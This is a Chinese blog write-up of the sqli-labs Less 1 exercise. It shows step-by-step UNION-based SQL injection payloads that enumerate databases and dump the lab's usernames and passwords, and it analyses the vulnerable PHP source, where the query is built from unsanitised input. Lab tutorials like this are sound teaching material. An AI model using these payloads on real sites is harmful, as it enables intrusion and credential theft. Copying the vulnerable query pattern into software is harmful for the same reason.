sqli-lab less 1

1.前言

由于最近在接触sql注入 sqli-lab的实验环境 所以进行日常性的总结 对于这个系列我会对php源码进行一个分析

2.正文

less 1 题目提示我们加上 id 所以?id=1 这是 已经出来了 用户名和 密码了 好那么首先输入' 来看是否有报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

很好出现了这个报错 所以我们可以从 ''1'' LIMIT 0,1' 可以观察出来 在源码中id外面的结构应该是' ' 为什么可以这样看出来 外面首先先把最左边和最后边的 ' 去掉再来看一下这个结构是什么 '1'' LIMIT 0,1 这样就非常清楚了把 '1'' 我们这里多了一个单引号从而导致语句错误了 接下来就是一步步的获取信息了 但是还有一步?id=1' or 1=1 %23 我们输入这个来进行确认一下 最后的%23 是注释的意思 我们把最后的 ' 注释掉了 接下来就可以开始了 首先我们先确定 有几个字段 使用 order by 1 开始依此往后进行增加 直到报错 比如这里 4的时候报错了 报错情况如下

Unknown column '4' in 'order clause' 这里可以知道 这个表中是没有第4 条字段的 所以这个表只有三个字段 所以这样我们就可以来确定回显点了 回显点是什么 回显点就是 注入可以回显有效值的位置 在注入的时候用union进行sql语句的连接 ?id=-1' union select 1,2,3%23 回显如下

Your Login name:2
Your Password:3

通过这个可以知道我们回显点是 2,3 这里 所以我们只需要在2,3 这里进行注入 首先我们可以进行一些简单的信息获取 例如 version() users()

?id=-1' union select 1,version(),user()%23

这里id 为什么是-1 因为这样返回的就是空了就可以显示后面的内容 显示结果如下

Your Login name:5.7.26-log
Your Password:root@localhost

非常好 我们的目的达到了 接下来 我们要开始依此获取一些信息了 首先我们获取数据库 schema_name() 是数据库的名字 information_schema.schemata 这个是存放数据库信息的一个库 就是平时 show databases 命令查询的这个库 所以数据库的信息我们需要在这里进行查找

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata) ,3%23

效果如下

YourLogin:name:information_schema,challenges,mysql,performance_schema,security,sys
Your Password:3

同样的 获取数据表就是改两个数值 table_name 和最后的 infomation_schema.tables

用户名和密码就是 如下代码

?id=-1' union select 1,(select group_concat(username separator ';') from users) ,(select group_concat(password separator ';') from users)%23

最终获取的结果

Your Login name:Dumb;Angelina;Dummy;secure;stupid;superman;batman;admin;admin1;admin2;admin3;dhakkan;admin4
Your Password:Dumb;I-kill-you;p@ssword;crappy;stupidity;genious;mob!le;admin;admin1;admin2;admin3;dumbo;admin4 比较长

3.源码分析

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

首先来看第一块 isset函数是用来判断括号中是否是空 get函数是获取id的值
($fp,'ID:'.$id."\n"); 这个其实就是一个普通的连接 因为在php语言中 . 是相当于字符串的一个连接

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

然后再来看这个部分 第一行 一个sql语句但是这一行我们可以看到 id外面的结构 这就是为什么 外面注入的时候要输入 ' 这个是为了封闭前面的结构 然后再把后面的 ' 注释掉 第二行就是一个sql语句的执行

if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; }
Code language: PHP (php)

}
else { echo "Please input the ID as parameter with numeric value";}

?>

下面几块应该很清晰了 所以就不做过多的讲解

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇